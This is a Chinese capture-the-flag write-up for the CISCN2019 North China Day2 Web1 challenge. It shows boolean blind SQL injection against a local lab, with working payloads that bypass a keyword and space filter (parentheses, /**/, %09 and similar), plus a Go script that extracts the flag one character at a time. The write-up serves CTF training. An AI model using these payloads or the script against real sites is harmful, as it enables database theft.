CISCN2019 华北赛区 Day2 Web1

CISCN2019 华北赛区 Day2 Web1

前言

最近太懒一直没有怎么学习,今天把《轮到你了》结局看了也极为失望,作为黑岛的舔狗我决定好好刷题提高自己,不然都没有实力去当舔

(当好舔真不容易)

CISCN2019 华北赛区 Day2 Web1_第1张图片

打开大佬的博客发现好多新的题和环境…好吧,一道一道来吧

感谢大佬提供的环境:https://github.com/glzjin/CISCN_2019_northern_China_day2_web1

过程

启动环境,打开页面

CISCN2019 华北赛区 Day2 Web1_第2张图片

好久没做了,拿到有点一脸懵逼…

不过看到提示说是花式盲注,就按照sql注入的思路先试一下

随便输入了一些值看了下返回结果

首先是一些正常输入吧,1和2输入是有一句不同的话返回,

CISCN2019 华北赛区 Day2 Web1_第3张图片

CISCN2019 华北赛区 Day2 Web1_第4张图片

其它数字返回"Error Occured When Fetch Result",

CISCN2019 华北赛区 Day2 Web1_第5张图片

输入别的字符是返回"bool(false)"

CISCN2019 华北赛区 Day2 Web1_第6张图片

然后随便输入一些注入语句尝试,会发现有规则过滤

CISCN2019 华北赛区 Day2 Web1_第7张图片

这里1,2可以返回不同的页面,然后上面的bool(false)也算提示吧,基本就会想到用bool注入

常用的bool注入形式 xx and xx,这里and被过滤了,这种形式不行,而且我们的逻辑是对的输入1错的输入2,这样的形式

这就肯定想到用if, if (ascii(substr((select flag from flag),1,1))=115 ,1,2)采用这样的形式,但尝试了一下返回被检查到注入攻击,但试了下上面的关键字发现都可以用…

菜鸡挠头…

偷偷看下wp发现空格也是被过滤的…

查了下绕过空格检测的方法

1.通过注释绕过空格

注释即/**/

通过注释取代空格

eg: or//‘me’//=/**/‘isme’

2.通过括号绕过空格

eg: and(1=0)

试了下1会被检查到不行

2 使用括号后

if(ascii(substr((select(flag)from(flag)),1,1))=115,1,2)

发现返回了"Do you want to be my girlfriend?"

说明可行,这样的话写个脚本简单的来跑下

不知道长度就随便写个较大的长度保证能跑完flag就行

package main

import(
	"net/http"
	"net/url"
	"io/ioutil"
	"fmt"
	"strconv"
	"strings"
)

func main(){
	var flag string
	for j:=1; j<50; j++{
		for i:=32; i<128; i++{
			resp, _ := http.PostForm("http://127.0.0.1:8302/index.php",
			url.Values{"id": {"if(ascii(substr((select(flag)from(flag)),"+strconv.Itoa(j)+",1))="+strconv.Itoa(i)+",1,2)"}})

			defer resp.Body.Close()
			body, _ := ioutil.ReadAll(resp.Body)

			if strings.Contains(string(body), "glzjin"){
				flag += string(i)
			}
		}
	}
	fmt.Println(flag)
}

为什么用go语言写写这个脚本呢,可能也是闲的吧…

[外链图片转存失败(img-tVOniVCa-1568018608488)(https://raw.githubusercontent.com/NKcell/BlogPic/master/20190909162247.png)]

可以看到成功拿到了flag

总结

这道题怎么说了也不算难吧,考查了sql的盲注,但对于我这样的菜鸡依旧解决困难

总是觉得sql注入的题不好做,想了想,主要还是sql注入它很少有常规的注入能让你直接sqlmap就能跑出来的情况

一般都会设置各种过滤或者需要各种骚操作去绕过,而这些首先需要耐心吧,毕竟规则这些在不看源码的情况一次次去尝试是很需要耐心的,其次还需要经验吧,比如上面的过滤空格没遇到过,就直接懵逼,最后可能再需要加点灵感吧

然后看了大佬的wp发现绕过空格还有下面的一些手段

空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

参考

  1. 刷题记录:CISCN2019 华北赛区 Day2 Web1 Hack World
  2. sql注入绕过方法总结

你可能感兴趣的:(CTF)